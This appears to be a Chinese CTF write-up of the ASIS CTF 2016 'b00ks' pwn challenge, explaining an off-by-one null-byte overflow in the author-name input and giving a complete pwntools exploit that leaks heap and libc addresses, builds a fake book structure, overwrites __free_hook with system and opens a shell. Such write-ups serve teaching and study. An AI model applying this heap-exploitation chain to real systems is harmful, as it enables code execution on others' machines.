堆溢出off-by-one(asis-ctf-2016 pwn 之 b00ks)

这些天积累也知道了一些关于glibc内存的分配策略。
说pwn 是在内存里捉迷藏其实到这里才真正接触大片的内存。精确控制就能保证精确修改数据。
需要的一个很重要的能力就是跟内存的能力。
这里调试exp用gdb.attach(p)来下断点,弹出调试界面。跟踪内存。
用gdb的x命令/xg参数来查看内存以十六进制8字节显示。
这个程序开启了PIE跟踪不太容易,不过可以用find命令查找输入的字符串来定位地址

查看保护:

liu@liu-F117-F:~/文档/堆溢出学习/off-by-one$ checksec b00ks
[*] '/home/liu/\xe6\x96\x87\xe6\xa1\xa3/\xe5\xa0\x86\xe6\xba\xa2\xe5\x87\xba\xe5\xad\xa6\xe4\xb9\xa0/off-by-one/b00ks'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
liu@liu-F117-F:~/文档/堆溢出学习/off-by-one$ 

保护只关闭了stack

是一个图书管理系统。
主要内容就这么多

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  struct _IO_FILE *v3; // rdi
  __int64 savedregs; // [rsp+20h] [rbp+0h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 1, 0LL);
  sub_A77(v3, 0LL);
  sub_B6D(v3);
  while ( (unsigned int)sub_A89() != 6 )
  {
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        sub_F55();
        break;
      case 2u:
        sub_BBD(v3);
        break;
      case 3u:
        sub_E17(v3);
        break;
      case 4u:
        sub_D1F(v3);
        break;
      case 5u:
        sub_B6D(v3);
        break;
      default:
        v3 = (struct _IO_FILE *)"Wrong option";
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0LL;
}

0x01找出来这个程序中图书结构体的存储方式

             else
              {
                v4 = malloc(0x20uLL);
                if ( v4 )
                {
                  *((_DWORD *)v4 + 6) = v2;
                  *((_QWORD *)off_202010 + v3) = v4;
                  *((_QWORD *)v4 + 2) = v6;
                  *((_QWORD *)v4 + 1) = ptr;
                  *(_DWORD *)v4 = ++unk_202024;
                  return 0LL;
                }

v2是输入的discroption的长度,v6指向discription。ptr指向name,unk_202024是一个ID每一本书都会有一个ID.
测试如下
测试数据:

Enter author name: AAAAAAAABC

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 1 

Enter book name size: 12
Enter book name (Max 32 chars): liu123

Enter book description size: 20
Enter book description: i am liu111111

ctl+c断下来

gdb-peda$ find AAAABC
Searching for 'AAAABC' in: None ranges
Found 1 results, display max 1 items:
b00ks : 0x555555756044 --> 0x434241414141 ('AAAABC')
gdb-peda$ x /10xg 0x555555756040
0x555555756040: 0x4141414141414141  0x0000000000004342
0x555555756050: 0x0000000000000000  0x0000000000000000
0x555555756060: 0x00005555557576b0  0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000
0x555555756080: 0x0000000000000000  0x0000000000000000

这里存放的是作者+第一本书的结构

gdb-peda$ x /10xg 0x00005555557576b0
0x5555557576b0: 0x0000000000000001  0x0000555555757670
0x5555557576c0: 0x0000555555757690  0x0000000000000014
0x5555557576d0: 0x0000000000000000  0x0000000000020931

这里是id,name地址和discription的地址,size。
0x0000000000020931这个书是top chunk可以认为是一个标识,标识着堆的顶。
再看Create函数,里面是三个malloc函数先malloc的是name 然后是discription最后是v4这个结构。
这里有一点疑问,为什么存的时候是*((_DWORD *)v4 + 6) = v2;而真正的内存里面却是把0x0000000000000014放到了+3处。
知道的欢迎留言,非常感谢。


0x02找出漏洞
题目就是off-by-one就是一个字节的溢出。
下面是自定义的一个read函数

signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{
  int i; // [rsp+14h] [rbp-Ch]
  _BYTE *buf; // [rsp+18h] [rbp-8h]

  if ( a2 <= 0 )
    return 0LL;
  buf = a1;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, buf, 1uLL) != 1 )
      return 1LL;
    if ( *buf == 10 )
      break;
    ++buf;
    if ( i == a2 )
      break;
  }
  *buf = 0;
  return 0LL;
}

在输入作者的时候存在漏洞。
如果输入的数据有32个字符程序会把00添加到第33个位置上。


0x03利用漏洞分析
利用漏洞之前这里讲一个函数,__free_hook函数。在调用free之前如果__free_hook函数不为NULL会先调用__free_hook函数在内存中前面紧挨的是它的参数这个函数本身是一个地址。更改这个地址指向的值可以实现劫持程序执行流。

这里用到了2个指针要求想要正确调用这个函数至少需要1.自由修改一个地址。2.前面修改的内容处写入为指针那么这个指针指向的内容也能修改。

上述修改过程需要满足找到一个地址,这个地址有2重或者更多重含义例如:这个地址将会是b00k1中的discrip部分同时也是指向了第二个chunk的name.

下面的漏洞利用将达到这个目的。


0x04获取libc地址
libc的加载地址和用mmap申请的空间的地址有关,当malloc申请的空间比较小时用brk来分配,当申请空间比较大时用mmap分配这里需要做的是申请一个大的空间。

填充进32个作者字符之后会使第33位设置为00在调用Create函数的时候会把00覆盖掉,可以实现泄露第一个b00k的地址。

p.recvuntil("Enter author name: ")
p.sendline("A"*31+"B")
p.recvuntil("> ")
Create("130","jion","32","i am join") #######set fake b00k_addr
p.recvuntil("> ")
Print()
print p.recvuntil("AB")
first_b00k_addr=u64(p.recv(6)+'\00'+'\00')
gdb.attach(p)
print hex(first_b00k_addr)

看这时候的内存

0x56146d2ad050: 0x4141414141414141  0x4241414141414141
0x56146d2ad060: 0x000056146f25e330  0x0000000000000000
0x56146d2ad070: 0x0000000000000000  0x0000000000000000
0x56146d2ad080: 0x0000000000000000  0x0000000000000000
0x56146d2ad090: 0x0000000000000000  0x0000000000000000

00被覆盖掉了。
接下来是设计一个伪造的b00k1这个伪造的book1有2层含义1.是b00k1的discription部分(本身可以修改)。2.指向第二个b00k的name字段。
程序提供了修改作者操作,调用修改作者可以修改第一个b00k的最后一个字节为00.

hange("A"*30+'B'+'C')
p.recvuntil("> ")

first_b00k的地址最后一个字节已被修改为00

gdb-peda$ x /10xg 0x55dbba2e8050
0x55dbba2e8050: 0x4141414141414141  0x4342414141414141
0x55dbba2e8060: 0x000055dbbb5e1300  0x000055dbbb5e1360
0x55dbba2e8070: 0x0000000000000000  0x0000000000000000
0x55dbba2e8080: 0x0000000000000000  0x0000000000000000
0x55dbba2e8090: 0x0000000000000000  0x0000000000000000

设置first_b00k_discription的chunk可以控制最后以字节为00处刚好为first_b00k指针指向的位置。伪造discription为fake b00k

p.recvuntil("Enter author name: ")
p.sendline("A"*31+"B")
p.recvuntil("> ")
Create("130","jion","32","i am join") #######set fake b00k_addr
p.recvuntil("> ")
Print()
print p.recvuntil("AB")
first_b00k_addr=u64(p.recv(6)+'\00'+'\00')
#gdb.attach(p)
print hex(first_b00k_addr)

伪造first_b000k的discription项为first_b00k,让伪first_b00k的discription指向second_b00k的name。

gdb-peda$ x /100xg 0x0000564315697300
0x564315697300: 0x0000000000000001  0x0000564315697368
0x564315697310: 0x0000564315697368  0x000000000000ffff
0x564315697320: 0x0000000000000000  0x0000000000000031
0x564315697330: 0x0000000000000001  0x0000564315697270
0x564315697340: 0x0000564315697300  0x0000000000000020
0x564315697350: 0x0000000000000000  0x0000000000000031
0x564315697360: 0x0000000000000002  0x00007fef169dc010
0x564315697370: 0x00007fef169ab010  0x0000000000030d40
0x564315697380: 0x0000000000000000  0x000000000001fc81

输出first_b00k的discription即为second_b00k_name指针实现泄露。
顺序:
1.设置作者为32字节
2.设置first_b00k的内容使地址最后以字节为00的地址处刚好指向first_b00k的discription
3.输出接收到first_b00k的地址。
4.更改first_b00k_discription为伪first_b00k
5.设置second_b00k的内容特别大,使malloc用mmap来分配内存
6.用32字节更改author使first_b00k指向fake b00k
7.输出first_b00k的discription实现泄露。

liu@liu-F117-F:~$ sudo cat /proc/32296/maps
[sudo] liu 的密码: 
5643149e6000-5643149e8000 r-xp 00000000 fd:00 13109433                   /home/liu/文档/堆溢出学习/off-by-one/b00ks
564314be7000-564314be8000 r--p 00001000 fd:00 13109433                   /home/liu/文档/堆溢出学习/off-by-one/b00ks
564314be8000-564314be9000 rw-p 00002000 fd:00 13109433                   /home/liu/文档/堆溢出学习/off-by-one/b00ks
564315696000-5643156b7000 rw-p 00000000 00:00 0                          [heap]
7fef1641a000-7fef16601000 r-xp 00000000 fd:00 10490465                   /lib/x86_64-linux-gnu/libc-2.27.so
7fef16601000-7fef16801000 ---p 001e7000 fd:00 10490465                   /lib/x86_64-linux-gnu/libc-2.27.so

second_book_name-0x7fef1641a000=mmap申请地址的偏移。
偏移是固定的,通过这个公式计算出来偏移那么后面计算libc_base就是
second_b00k_name-mmap申请地址偏移=libc_base.


0x05 运行system(“/bin/sh”)

获取需要函数和参数的地址

libc=ELF('libc.so.6')
system_addr = libc.symbols['system'] + libc_base_addr
print "system_addr="+hex(system_addr)
free_hook=libc.symbols["__free_hook"]+libc_base_addr
binsh_addr = libc.search('/bin/sh').next() + libc_base_addr
#gdb.attach(p)

因为开启了RELRO: Full RELRO保护不能复写got表
设置first_b00k_name内容为binsh,first_b00k_discription为free_hook,用second_b00k_discription向free_hook指向的内容写入system函数的地址。
当调用free函数的时候__free_hook函数不为NULL会优先调用__free_hook函数劫持free函数
执行system函数第一个free的参数可以设置为second_b00k_name。

from pwn import *
#context.log_level="debug"
p=process("./b00ks")

def Create(name_size,name,discription_size,discription):
    p.sendline('1')
    p.recvuntil("size: ")
    p.sendline(name_size)
    p.recvuntil("Enter book name (Max 32 chars): ")
    p.sendline(name)
    p.recvuntil("Enter book description size: ")
    p.sendline(discription_size)
    p.recvuntil("Enter book description: ")
    p.sendline(discription)

def Delete(ID):
    p.sendline("2")
    p.recvuntil("Enter the book id you want to delete: ")
    p.sendline(ID)

def Edit(ID,discription):
    p.sendline("3")
    p.recvuntil("Enter the book id you want to edit: ")
    p.sendline(ID)
    p.recvuntil("Enter new book description: ")
    p.sendline(discription)

def Print():
    p.sendline("4")

def Change(author_name):
    p.sendline("5")
    p.recvuntil("Enter author name: ")
    p.sendline(author_name)


#################################leak book1_addr###############################
p.recvuntil("Enter author name: ")
p.sendline("A"*31+"B")
p.recvuntil("> ")
Create("130","jion","32","i am join") #######set fake b00k_addr
p.recvuntil("> ")
Print()
print p.recvuntil("AB")
first_b00k_addr=u64(p.recv(6)+'\00'+'\00')
#gdb.attach(p)
print hex(first_b00k_addr)
####################################leak book1_addr end#######################

###################################set fake b00k in first b00k of discription###############
p.recvuntil("> ")
payload=p64(0x01)+p64(first_b00k_addr+0x38)*2+p64(0xffff)
Edit('1',payload)
##############################make big memrry ####################################
p.recvuntil("> ")
Create('200000','bill','200000',"this is bill")
p.recvuntil("> ")
############################set first b00k to fake b00k############################

Change("A"*30+'B'+'C')
p.recvuntil("> ")
gdb.attach(p)

#############################get second b00k addr(get libc)#######################
Print()
p.recvuntil("Name: ")
second_name_addr=u64(p.recv(6)+'\x00'+'\x00')
print "second_name_addr="+hex(second_name_addr)
#gdb.attach(p)
libc_base_addr=second_name_addr-0x5c2010
print "libc_base_addr="+hex(libc_base_addr)
p.recvuntil("> ")
################################get libc addr end########################################
libc=ELF('libc.so.6')
system_addr = libc.symbols['system'] + libc_base_addr
print "system_addr="+hex(system_addr)
free_hook=libc.symbols["__free_hook"]+libc_base_addr
binsh_addr = libc.search('/bin/sh').next() + libc_base_addr
#gdb.attach(p)
####################################get shell#########################################
payload = p64(binsh_addr) + p64(free_hook)  #second_b00k_name=bin_sh    second_b00k_discription=free_hook
Edit('1',payload)
payload=p64(system_addr)   #free_hook-->system_addr
Edit('2',payload)
Delete('2')
p.interactive()


你可能感兴趣的:(堆溢出)